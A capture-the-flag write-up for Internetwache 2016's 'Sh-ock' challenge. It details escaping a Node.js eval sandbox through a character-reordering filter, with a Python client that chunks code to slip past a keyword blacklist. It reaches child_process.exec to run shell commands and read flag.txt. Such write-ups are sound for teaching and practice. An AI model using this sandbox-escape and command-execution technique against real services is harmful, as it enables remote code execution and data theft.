IW2016 CTF exp90 Sh-ock
@mrexcessive @ WHA
Internetwache 2016 CTF
exp90 Sh-ock
https://ctf.internetwache.org/tasks/exp/90
The problem
Description: This is some kind of weird thing. I am sh-ocked. Service: 188.166.135.120:12589 moved to Service: 188.166.133.53:12589
The solution
This was the first one I looked at, and annoyingly, the remote service wasn't accepting connection.
Comment from IRC that the published IP was wrong (DDOS avoidance ?)
So... now we have a connection and a prompt
peter $ nc 188.166.133.53 12589 $
So... how to get to flag from here ...
First... engage mind of a four year old and TYPE ALL THE KEYS
$abcdefghijklmnopqrstuvwxyz [ReferenceError: wsokgcba is not defined]
Interesting... Is it just picking from those positions ?
; i m a o h w ;;iCCCmDDDaEEEoFFFhGGGwHHH
$;BiCCCmDDDaEEEoFFFhGGGwHHH [ReferenceError: whoamiB is not defined] $;;iCCCmDDDaEEEoFFFhGGGwHHH [ReferenceError: whoami is not defined]
Further hmmmm...
$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 [SyntaxError: Unexpected identifier] $abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ [ReferenceError: UOICwqkedcba is not defined]
Looks like it stops taking chars after 52 and reorders up to that but you only get 12 chars ?
I smell some kind of weird-shell sandbox escape...
I don't want to be manually re-ordering chars all the time...
Custom Client Time !
Copy my usual pwnserver.py script, it's just like a very weak and pathetic version of pwntools...
These routines are the crucial part for char re-ordering, full exploit terminal code linked at end -->
flagDoPad = True boxIn = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" boxOut = "UOICwqkedcba" def DoTranslate(a): padchar = ";" op = boxIn # fully padded if len(a)>len(boxOut): print "TRUNCATED BEFORE SENDING" a = a[:len(boxOut)] else: if flagDoPad: # pad with spaces to length a = (a + " "*len(boxOut))[:len(boxOut)] for i,c in enumerate(a): # a[N] maps to position of bo[N] lkup = boxOut[i] lkuppos = boxIn.find(lkup) op = op[:lkuppos] + c + op[lkuppos+1:] # insert c return op def TranslateAndSendShowResponse(a): b = DoTranslate(a) Send(b+"\n") r = GetResponse(expect="$", timeout=2) if debugShowRaw: HexPrint(r) sys.stdout.write(r) sys.stdout.flush()
With that utility around... can now connect through pwn.py and type in (up to 12 chars!) of text and try to find some things out.
It's javascript...
$this Interface { _sawReturn: false, domain: null, _events: { close: { [Function: g] listener: [Function] }, line: [Function] }, _eventsCount: 2, _maxListeners: undefined, output: Socket { _connecting: false, _hadError: false, _handle: TCP { _externalStream: {}, .../snip/...
We can build a string and then eval it. PoC
$a="1" 1 $a=a+"23+4" 123 $eval(a) 127
Nice!
If only I knew more about javascript sandbox escapes... to the Google...
http://eloquentjavascript.net/1st_edition/paper.html
https://f0rki.at/hacklu-ctf-2014-write-up-objection.html
Hmmm can we get the code... in 'this':
_events: { close: { [Function: g] listener: [Function] }, line: [Function] },
Time for a new utility function on the custom client...
manually entering anything > 12 chars is boring...
def SendAndMaybeEval(code, doEval=False): # break code up into 3 char chunks appends to 'a' then eval it # 3 char not 12 char because of 'reserved word' spotting... TranslateAndSendShowResponse("a=''") while len(code) > 0: bit = code[:3] code = code[3:] TranslateAndSendShowResponse("a+='%s'" % bit) if doEval: TranslateAndSendShowResponse("eval(a)")
So now I can feed in (on a single line) arbitrary amounts of javascript to explore things further.
I lose some time getting to grips with the object model sufficiently...
OK so you can do .toString() on any Function object to get its source, nice !
So ...
$a=this._events.close; b=this._events.line; $a.toString() function g() { this.removeListener(type, g); if (!fired) { fired = true; listener.apply(this, arguments); } } $b.toString() function (line){ var blacklist = /(eval|require|flag)/ line = reverse(line); if(line.match(blacklist)) { console.log('Blacklisted commands'); process.stdout.write('$'); return; } if(line.length <= 10) { line = line.replace(/.(.)?/g, '$1'); } else if(line.length <= 20) { line = line.replace(/..(.)?/g, '$1'); } else if(line.length <= 30) { line = line.replace(/...(.)?/g, '$1'); } else if(line.length <= 40) { line = line.replace(/....(.)?/g, '$1'); } else { line = line.replace(/.....(.)?/g, '$1'); } try { console.log(eval(line)); }catch(e) { console.log(e); } process.stdout.write('$'); }
And process has this:
$process process { title: '/opt/nodejs/bin/node', version: 'v4.3.0', moduleLoadList: [ 'Binding contextify', 'Binding natives', 'NativeModule events', 'NativeModule buffer', 'Binding buffer', 'NativeModule internal/util', 'Binding util', 'NativeModule timers', 'Binding timer_wrap', 'NativeModule _linklist', 'NativeModule assert', 'NativeModule util', 'Binding uv', 'NativeModule path', 'NativeModule module', 'NativeModule internal/module', 'NativeModule vm', 'NativeModule fs', 'Binding fs', 'NativeModule constants', 'Binding constants', 'NativeModule stream', 'NativeModule _stream_readable', 'NativeModule _stream_writable', 'NativeModule _stream_duplex', 'NativeModule _stream_transform', 'NativeModule _stream_passthrough', 'Binding fs_event_wrap', 'NativeModule readline', 'Binding tty_wrap', 'NativeModule net', 'Binding cares_wrap', 'Binding tcp_wrap', 'Binding pipe_wrap', 'Binding stream_wrap', 'NativeModule string_decoder', 'NativeModule console' ], versions: { http_parser: '2.5.1', node: '4.3.0', v8: '4.5.103.35', uv: '1.8.0', zlib: '1.2.8', ares: '1.10.1-DEV', icu: '56.1', modules: '46', openssl: '1.0.2f' }, arch: 'x64', platform: 'linux', release: { name: 'node', lts: 'Argon', sourceUrl: 'https://nodejs.org/download/release/v4.3.0/node-v4.3.0.tar.gz', headersUrl: 'https://nodejs.org/download/release/v4.3.0/node-v4.3.0-headers.tar.gz' }, argv: [ '/opt/node-v4.3.0-linux-x64/bin/node', '/home/exp90/task.js' ], execArgv: [], env: { OLDPWD: '/etc/service/exp90', PATH: '/command:/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6/bin', PWD: '/home/exp90', SHLVL: '0', PROTO: 'TCP', TCPLOCALIP: '10.133.6.209', TCPLOCALPORT: '12589', TCPREMOTEIP: '10.133.11.41', TCPREMOTEPORT: '34091' }, pid: 9720, features: { debug: false, uv: true, ipv6: true, tls_npn: true, tls_sni: true, tls_ocsp: true, tls: true }, _needImmediateCallback: false, execPath: '/opt/node-v4.3.0-linux-x64/bin/node', debugPort: 5858, _startProfilerIdleNotifier: [Function: _startProfilerIdleNotifier], _stopProfilerIdleNotifier: [Function: _stopProfilerIdleNotifier], _getActiveRequests: [Function: _getActiveRequests], _getActiveHandles: [Function: _getActiveHandles], reallyExit: [Function: reallyExit], abort: [Function: abort], chdir: [Function: chdir], cwd: [Function: cwd], umask: [Function: umask], getuid: [Function: getuid], geteuid: [Function: geteuid], setuid: [Function: setuid], seteuid: [Function: seteuid], setgid: [Function: setgid], setegid: [Function: setegid], getgid: [Function: getgid], getegid: [Function: getegid], getgroups: [Function: getgroups], setgroups: [Function: setgroups], initgroups: [Function: initgroups], _kill: [Function: _kill], _debugProcess: [Function: _debugProcess], _debugPause: [Function: _debugPause], _debugEnd: [Function: _debugEnd], hrtime: [Function: hrtime], dlopen: [Function: dlopen], uptime: [Function: uptime], memoryUsage: [Function: memoryUsage], binding: [Function: binding], _linkedBinding: [Function: _linkedBinding], _setupDomainUse: [Function: _setupDomainUse], _events: { newListener: [Function], removeListener: [Function] }, _rawDebug: [Function], domain: null, _maxListeners: undefined, EventEmitter: { [Function: EventEmitter] EventEmitter: [Circular], usingDomains: false, defaultMaxListeners: 10, init: [Function], listenerCount: [Function] }, _fatalException: [Function], _exiting: false, assert: [Function], config: { target_defaults: { cflags: [], default_configuration: 'Release', defines: [], include_dirs: [], libraries: [] }, variables: { asan: 0, gas_version: '2.23', host_arch: 'x64', icu_data_file: 'icudt56l.dat', icu_data_in: '../../deps/icu/source/data/in/icudt56l.dat', icu_endianness: 'l', icu_gyp_path: 'tools/icu/icu-generic.gyp', icu_locales: 'en,root', icu_path: './deps/icu', icu_small: true, icu_ver_major: '56', node_byteorder: 'little', node_install_npm: true, node_prefix: '/', node_release_urlbase: 'https://nodejs.org/download/release/', node_shared_http_parser: false, node_shared_libuv: false, node_shared_openssl: false, node_shared_zlib: false, node_tag: '', node_use_dtrace: false, node_use_etw: false, node_use_lttng: false, node_use_openssl: true, node_use_perfctr: false, openssl_fips: '', openssl_no_asm: 0, python: '/home/iojs/bin/python', target_arch: 'x64', uv_parent_path: '/deps/uv/', uv_use_dtrace: false, v8_enable_gdbjit: 0, v8_enable_i18n_support: 1, v8_no_strict_aliasing: 1, v8_optimized_debug: 0, v8_random_seed: 0, v8_use_snapshot: true, want_separate_host_toolset: 0 } }, nextTick: [Function: nextTick], _tickCallback: [Function: _tickCallback], _tickDomainCallback: [Function: _tickDomainCallback], stdout: [Getter], stderr: [Getter], stdin: [Getter], openStdin: [Function], exit: [Function], kill: [Function], _eventsCount: NaN, mainModule: Module { id: '.', exports: {}, parent: null, filename: '/home/exp90/task.js', loaded: true, children: [], paths: [ '/home/exp90/node_modules', '/home/node_modules', '/node_modules' ] } }
I do some exploring around process...
Then think of hitting on console... might need it for output...
$console Console { log: [Function: bound ], info: [Function: bound ], warn: [Function: bound ], error: [Function: bound ], dir: [Function: bound ], time: [Function: bound ], timeEnd: [Function: bound ], trace: [Function: bound trace], assert: [Function: bound ], Console: [Function: Console] }
Some more messing later... the motherlode... require
$require { [Function: require] resolve: [Function], main: Module { id: '.', exports: {}, parent: null, filename: '/home/exp90/task.js', loaded: true, children: [], paths: [ '/home/exp90/node_modules', '/home/node_modules', '/node_modules' ] }, extensions: { '.js': [Function], '.json': [Function], '.node': [Function] }, cache: { '/home/exp90/task.js': Module { id: '.', exports: {}, parent: null, filename: '/home/exp90/task.js', loaded: true, children: [], paths: [Object] } }, registerExtension: [Function] }
A bit more research
https://javascriptweblog.wordpress.com/2010/04/19/how-evil-is-eval/
So we can write things out with console.log() and
$require("child_process") ${ ChildProcess: { [Function: ChildProcess] super_: { [Function: EventEmitter] EventEmitter: [Circular], usingDomains: false, defaultMaxListeners: 10, init: [Function], listenerCount: [Function] } }, fork: [Function], _forkChild: [Function], exec: [Function], execFile: [Function], spawn: [Function], spawnSync: [Function: spawnSync], execFileSync: [Function: execFileSync], execSync: [Function: execSync] }
Then... can I run shell commands ?
$exec=require("child_process").exec $child=exec("ls -la;whoami", function(x,y,z) { console.log(y+"AAA"+z); }) $ChildProcess { domain: null, _events: { close: [Function: exithandler], error: [Function: errorhandler] }, _eventsCount: 2, _maxListeners: undefined, _closesNeeded: 3, _closesGot: 0, connected: false, signalCode: null, exitCode: null, killed: false, spawnfile: '/bin/sh', _handle: Process { owner: [Circular], onexit: [Function], pid: 21196 }, spawnargs: [ '/bin/sh', '-c', 'ls -la;whoami' ], pid: 21196, stdin: Socket { _connecting: false, _hadError: false, _handle: Pipe { _externalStream: {}, fd: 10, writeQueueSize: 0, owner: [Circular], onread: [Function: onread], reading: true }, _parent: null, _host: null, _readableState: ReadableState { objectMode: false, highWaterMark: 16384, buffer: [], length: 0, pipes: null, pipesCount: 0, flowing: null, ended: false, endEmitted: false, reading: true, sync: false, needReadable: true, emittedReadable: false, readableListening: false, defaultEncoding: 'utf8', ranOut: false, awaitDrain: 0, readingMore: false, decoder: null, encoding: null }, readable: false, domain: null, _events: { end: [Object], finish: [Function: onSocketFinish], _socketEnd: [Function: onSocketEnd] }, _eventsCount: 3, _maxListeners: undefined, _writableState: WritableState { objectMode: false, highWaterMark: 16384, needDrain: false, ending: false, ended: false, finished: false, decodeStrings: false, defaultEncoding: 'utf8', length: 0, writing: false, corked: 0, sync: true, bufferProcessing: false, onwrite: [Function], writecb: null, writelen: 0, bufferedRequest: null, lastBufferedRequest: null, pendingcb: 0, prefinished: false, errorEmitted: false }, writable: true, allowHalfOpen: false, destroyed: false, bytesRead: 0, _bytesDispatched: 0, _sockname: null, _writev: null, _pendingData: null, _pendingEncoding: '' }, stdout: Socket { _connecting: false, _hadError: false, _handle: Pipe { _externalStream: {}, fd: 12, writeQueueSize: 0, owner: [Circular], onread: [Function: onread], reading: true }, _parent: null, _host: null, _readableState: ReadableState { objectMode: false, highWaterMark: 16384, buffer: [], length: 0, pipes: null, pipesCount: 0, flowing: true, ended: false, endEmitted: false, reading: true, sync: false, needReadable: true, emittedReadable: false, readableListening: false, defaultEncoding: 'utf8', ranOut: false, awaitDrain: 0, readingMore: false, decoder: [Object], encoding: 'utf8', resumeScheduled: true }, readable: true, domain: null, _events: { end: [Object], finish: [Function: onSocketFinish], _socketEnd: [Function: onSocketEnd], close: [Function], data: [Function] }, _eventsCount: 5, _maxListeners: undefined, _writableState: WritableState { objectMode: false, highWaterMark: 16384, needDrain: false, ending: false, ended: false, finished: false, decodeStrings: false, defaultEncoding: 'utf8', length: 0, writing: false, corked: 0, sync: true, bufferProcessing: false, onwrite: [Function], writecb: null, writelen: 0, bufferedRequest: null, lastBufferedRequest: null, pendingcb: 0, prefinished: false, errorEmitted: false }, writable: false, allowHalfOpen: false, destroyed: false, bytesRead: 0, _bytesDispatched: 0, _sockname: null, _writev: null, _pendingData: null, _pendingEncoding: '' }, stderr: Socket { _connecting: false, _hadError: false, _handle: Pipe { _externalStream: {}, fd: 14, writeQueueSize: 0, owner: [Circular], onread: [Function: onread], reading: true }, _parent: null, _host: null, _readableState: ReadableState { objectMode: false, highWaterMark: 16384, buffer: [], length: 0, pipes: null, pipesCount: 0, flowing: true, ended: false, endEmitted: false, reading: true, sync: false, needReadable: true, emittedReadable: false, readableListening: false, defaultEncoding: 'utf8', ranOut: false, awaitDrain: 0, readingMore: false, decoder: [Object], encoding: 'utf8', resumeScheduled: true }, readable: true, domain: null, _events: { end: [Object], finish: [Function: onSocketFinish], _socketEnd: [Function: onSocketEnd], close: [Function], data: [Function] }, _eventsCount: 5, _maxListeners: undefined, _writableState: WritableState { objectMode: false, highWaterMark: 16384, needDrain: false, ending: false, ended: false, finished: false, decodeStrings: false, defaultEncoding: 'utf8', length: 0, writing: false, corked: 0, sync: true, bufferProcessing: false, onwrite: [Function], writecb: null, writelen: 0, bufferedRequest: null, lastBufferedRequest: null, pendingcb: 0, prefinished: false, errorEmitted: false }, writable: false, allowHalfOpen: false, destroyed: false, bytesRead: 0, _bytesDispatched: 0, _sockname: null, _writev: null, _pendingData: null, _pendingEncoding: '' }, stdio: [ Socket { _connecting: false, _hadError: false, _handle: [Object], _parent: null, _host: null, _readableState: [Object], readable: false, domain: null, _events: [Object], _eventsCount: 3, _maxListeners: undefined, _writableState: [Object], writable: true, allowHalfOpen: false, destroyed: false, bytesRead: 0, _bytesDispatched: 0, _sockname: null, _writev: null, _pendingData: null, _pendingEncoding: '' }, Socket { _connecting: false, _hadError: false, _handle: [Object], _parent: null, _host: null, _readableState: [Object], readable: true, domain: null, _events: [Object], _eventsCount: 5, _maxListeners: undefined, _writableState: [Object], writable: false, allowHalfOpen: false, destroyed: false, bytesRead: 0, _bytesDispatched: 0, _sockname: null, _writev: null, _pendingData: null, _pendingEncoding: '' }, Socket { _connecting: false, _hadError: false, _handle: [Object], _parent: null, _host: null, _readableState: [Object], readable: true, domain: null, _events: [Object], _eventsCount: 5, _maxListeners: undefined, _writableState: [Object], writable: false, allowHalfOpen: false, destroyed: false, bytesRead: 0, _bytesDispatched: 0, _sockname: null, _writev: null, _pendingData: null, _pendingEncoding: '' } ] } $total 32 drwxr-x--- 2 exp90 exp90 4096 Feb 19 14:26 . drwxr-xr-x 14 root root 4096 Feb 11 12:19 .. -rw------- 1 exp90 exp90 6 Feb 19 14:26 .bash_history -rw-r--r-- 1 exp90 exp90 220 Nov 13 2014 .bash_logout -rw-r--r-- 1 exp90 exp90 3515 Nov 13 2014 .bashrc -rw-r--r-- 1 exp90 exp90 675 Nov 13 2014 .profile -rw-r--r-- 1 root exp90 24 Feb 11 18:23 flag.txt -rw-r--r-- 1 root exp90 1011 Feb 11 18:23 task.js exp90 AAA
Yes ! Shell commands (it makes it more 'real' for the reader if I leave in the full text output... I was hunting around in that stuff for a while, given meagre Javascript knowledge)
So now... get flag.txt
child=exec("cat *.txt", function(x,y,z) { console.log(y+"AAA"+z); }) $IW{Shocked-for-nothing!}AAA
Correct flag... Result!
IW{Shocked-for-nothing!}
The complete custom telnet client is here https://gist.github.com/mrexcessive/03534193fc44e51db962